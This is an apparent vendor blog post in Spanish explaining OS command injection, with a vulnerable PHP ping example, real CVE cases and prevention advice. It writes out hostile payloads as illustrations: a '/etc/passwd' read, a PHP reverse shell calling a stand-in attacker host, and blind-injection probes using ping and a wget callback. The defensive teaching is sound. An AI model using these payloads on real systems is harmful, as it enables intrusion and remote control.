¿En qué consiste la inyección de comandos en el sistema operativo?

La inyección de comandos en el sistema operativo es una vulnerabilidad de las aplicaciones web que permite a los atacantes ejecutar comandos arbitrarios en el sistema operativo subyacente. Estas vulnerabilidades se producen cuando las aplicaciones web invocan comandos del sistema operativo con entradas proporcionadas por el usuario como argumentos. La vulnerabilidad también puede identificarse como CWE-77 o CWE-78.

Piensa en una aplicación web diseñada para supervisar sistemas internos y proporcionar alertas cuando uno de los sistemas quede fuera de línea. En este escenario, la aplicación puede querer comprobar la conectividad de red con el destino y lo hace ejecutando un comando ping. Si la aplicación está escrita en PHP, el código subyacente puede ser algo parecido a lo siguiente:

$ip_address = $_GET["ip_address"])
$not_used = array();
$return_code = 0;
exec('ping -W 2 -c 1 ' . $ip_address, $not_used, $return_code)

En este ejemplo, la función exec de PHP ejecuta el comando ping con el valor de «ip_address» proporcionado por el usuario, añadido al final como destino para comprobar su accesibilidad. Sin embargo, si un atacante proporciona localhost; cat /etc/passwd como dirección IP, se ejecutarán tanto el comando ping como el segundo comando iniciado después del punto y coma. Si esto ocurre, el atacante tendrá entonces ejecución completa de comandos y podrá ejecutar cualquier número de comandos maliciosos para intentar aumentar el acceso, obtener información confidencial, mantener la persistencia o pivotar hacia otros objetivos de la red. Por sus consecuencias, a menudo devastadoras, las vulnerabilidades de inyección de comandos suelen considerarse de mayor gravedad que otras vulnerabilidades de aplicaciones web.

¿Qué no es la inyección de comandos en el sistema operativo?

La inyección de comandos se suele confundir con otros ataques por inyección, sobre todo la inyección de código. La manera más sencilla de distinguir entre ambas vulnerabilidades se basa en el método y el contexto de la ejecución de la carga útil:

  • Es sabido que la inyección de comandos se ejecuta en el contexto de los programas de shell del sistema operativo subyacente (p. ej., bash, PowerShell); más concretamente, en la llamada a un programa externo.

  • La inyección de código se ejecuta en el contexto del lenguaje de programación en uso. Un ejemplo de esto sería la inyección en las funciones «include» o «eval» de PHP y la capacidad de ejecutar código PHP arbitrario.

Lo que a veces confunde es cuando una carga útil de inyección de comandos contiene código de lenguajes de programación como PHP. Por ejemplo, considera usar la siguiente carga útil de inyección de comandos en nuestro ejemplo anterior, que iniciará un shell inverso:

localhost; php -r '$sock=fsockopen("attackers.ip.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Como la carga útil contiene, en gran parte, código PHP, a primera vista se puede confundir con una inyección de código. Sin embargo, el principio de la carga útil es lo que demuestra que en realidad se trata de una inyección de comandos. En este ejemplo, el punto y coma termina el comando de ping antes de que se ejecute el comando de PHP. «php -r» ejecuta el siguiente PHP en la línea de comandos, que en este caso es un shell inverso que redirige a la dirección IP del atacante. Por mucho que se ejecute código PHP en nuestra carga útil, se trata de una inyección de comandos en el sistema operativo porque estamos inyectando en los argumentos del programa de shell del sistema operativo.

Ejemplos reales de inyección de comandos en el sistema operativo

Ahora que ya sabemos qué se considera y qué no es inyección de comandos en el sistema operativo, fijémonos en algunos ejemplos reales de este ataque y en cómo se ejecutaron.

Inyección de comandos del sistema operativo en NagiosXI: Vulnerabilidad y exposición comunes-2021-25296(7,8)

Las versiones 5.5.6 a 5.7.5 de NagiosXI se vieron afectadas por tres casos distintos de inyección de comandos. Nuestro ejemplo anterior del ping, de hecho, se basa libremente en Vulnerabilidad y exposición comunes-2021-25298, cuya vulnerabilidad de inyección de comandos radicaba en una llamada a ping mediante la función «exec» de PHP con una dirección IP proporcionada por el usuario. En nuestro análisis detallado de estas CVE, mostramos un uso práctico de estas vulnerabilidades iniciando tanto shells remotos de Meterpreter como devoluciones de llamada a interactsh de Project Discovery. Como señaló CISA en el momento de redactar este texto, estas CVE están siendo explotadas activamente por atacantes en entornos reales, lo que demuestra su potencial para comprometer sistemas.

Inyección de comandos del sistema operativo en ManageEngine ADManagerPlus: Vulnerabilidad y exposición comunes-2023-29084

Esta vulnerabilidad concreta es un gran ejemplo de cómo no se previene un ataque de inyección de comandos. Dinh Hoang escribió un excelente artículo acerca de la vulnerabilidad; en concreto, explica cómo ADManagerPlus utiliza una función CommonUtil.getPowerShellEscapedValue para escapar un valor de nombre de usuario y contraseña proporcionado por el usuario para un comando reg add. Sin embargo, esa función no escapa los caracteres CRLF, lo que permite insertar la siguiente carga útil como contraseña y ejecutar calc: [any-content]\r\ncalc.exe. Como veremos más adelante, realizar este tipo de saneamiento de la entrada abre la puerta a errores, nuevas lagunas o metacaracteres pasados por alto que pueden dar pie a futuros ataques de inyección de comandos.

La inyección de comandos en el sistema operativo desde el punto de vista de los WAF

El WAF de última generación de Fastly protege contra ataques por inyección de comandos. Al examinar algunas cargas útiles observadas de inyección de comandos, podemos ver qué envían los atacantes para detectar vulnerabilidades de inyección de comandos del sistema operativo.

Ejemplo de carga útil 1: ping «sleep» en datos de petición POST

language=&ping -c 25 127.0.0.1 &

Esta carga útil es un intento bastante simple de inyectar comandos en el campo del lenguaje. Además, utiliza una técnica de inyección de comandos a ciegas al no depender de una respuesta del comando para detectar la inyección. En primer lugar, la carga útil utiliza el metacarácter & para ejecutar el segundo comando mientras el primero se ejecuta en segundo plano. La carga útil contiene el comando ping con la marca -c, que indica a ping que envíe 25 paquetes, uno por segundo. Con un simple análisis del tiempo de la respuesta, un atacante puede determinar si se ejecutó el comando que inyectó. Esta técnica, sin embargo, puede fallar si la aplicación objetivo no espera a que el comando ejecutado termine antes de enviar una respuesta HTTP, lo cual limita su eficacia. Veamos un ejemplo más interesante de una inyección de comandos a ciegas que no presenta esta limitación.

Ejemplo de carga útil 2: wget en datos de petición POST

macAddress=112233445566;wget http://[redacted-subdomain].oast.site#

Esta carga útil utiliza una interacción fuera de banda de la red, una técnica de inyección de comandos a ciegas que se basa en detectar una petición saliente de la red del comando inyectado para detectar la inyección de comandos. Analicemos la carga útil por partes: la secuencia de escape y la configuración del comando, por un lado, y el contenido del comando inyectado, por el otro.

La carga útil se inyecta en el campo macAddress y contiene dos metacaracteres para facilitar la inyección de comandos. En primer lugar, el punto y coma marca el final del primer comando para que se pueda lanzar el comando del atacante. Al final de la carga útil inyectada, el atacante utiliza el metacarácter # para comentar cualquier dato posterior. Esto resulta útil si el argumento en el que se está inyectando no es el último argumento del comando, ya que cualquier argumento posterior se ignorará como parte del comentario.

La parte del comando inyectado de la carga útil es el comando wget, que se comunica con un subdominio de oast.site, uno de los dominios de callback predeterminados que utiliza interactsh de Project Discovery. OAST hace referencia a pruebas de seguridad de aplicaciones que se realizan fuera de banda, lo cual es posible gracias a interactsh, que utiliza subdominios únicos y cargas útiles para determinar si el ataque dirigido tuvo éxito. Hay varios otros dominios que utilizan interactsh y otras herramientas que facilitan el mismo tipo de pruebas, cuyo uso intensivo ya habíamos observado anteriormente.

Cómo prevenir la inyección de comandos en el sistema operativo 

Existen varias maneras de evitar la inyección de comandos en el sistema operativo, cada cual con sus ventajas e inconvenientes. A continuación encontrarás soluciones prácticas para prevenir este tipo de ataque.

Evita invocar comandos del sistema operativo desde el código de la aplicación

No invoques jamás comandos del sistema operativo desde el código de la aplicación. Así, se elimina por completo la posibilidad de vulnerabilidades de inyección de comandos en el sistema operativo al eliminar los propios comandos inyectados. Utilizar métodos alternativos para llevar a cabo las mismas acciones es una opción más segura y preferible.

Aplica una validación estricta de las entradas

Si en tu entorno no se pueden evitar las llamadas a comandos del sistema operativo, es esencial contar con una estricta validación de la entrada para evitar vulnerabilidades de inyección de comandos del sistema operativo. La validación estricta de la entrada es diferente del saneamiento de la entrada. La validación de la entrada requiere garantizar que la entrada del usuario contenga solo valores seguros para que la aplicación los pase a los comandos del sistema operativo. Estos son algunos ejemplos de una validación estricta de la entrada:

  1. Se valida que la entrada consta en una lista de valores permitidos.

  2. Validar que la entrada proporcionada es del tipo correcto (p. ej., un número entero o una dirección IP).

  3. Validar que la entrada contiene solo valores alfanuméricos.

Sanitizar la entrada del usuario (no recomendado)

Si ninguna de estas opciones es factible, sanear la entrada del usuario escapando los metacaracteres del shell (p. ej., & o ;) debería ser el último recurso. Es difícil aplicar correctamente este saneamiento debido a las muchas formas en que los metacaracteres pueden representarse e interpretarse en distintos sistemas operativos, y a cómo pueden eludirse los métodos de saneamiento. Vulnerabilidad y exposición comunes-2023-29084 muestra los posibles problemas de este método, ya que un metacarácter omitido (CRLF) dio lugar a una inyección de comandos satisfactoria. Aunque el saneamiento suele proteger contra la carga útil más evidente de inyección de comandos del sistema operativo, no es una solución completa debido tanto a la dificultad de implementarlo correctamente como a las posibilidades de eludirlo.

Resumen

La inyección de comandos en el sistema operativo suele ser una vulnerabilidad grave de las aplicaciones web que permite a los atacantes ejecutar comandos arbitrarios en el sistema operativo subyacente. A menudo se confunde con la inyección de código, pero opera en el contexto de los programas de shell del sistema operativo subyacente, mientras que la inyección de código lo hace en el contexto del lenguaje de programación en uso. La inyección de comandos del sistema operativo puede tener efectos devastadores y, como se observa en nuestros ejemplos del mundo real, sigue siendo un medio de ataque utilizado con frecuencia. Sin embargo, las aplicaciones pueden prevenir la inyección de comandos en el sistema operativo utilizando las soluciones que hemos descrito. Si tienes dificultades para impedir la inyección de comandos del sistema operativo o utilizas un producto que ha sufrido vulnerabilidades de inyección de comandos del sistema operativo en el pasado, infórmate acerca del WAF de última generación de Fastly para protegerte ante estos y otros ataques.

¿Listo para empezar?

Ponte en contacto con nosotros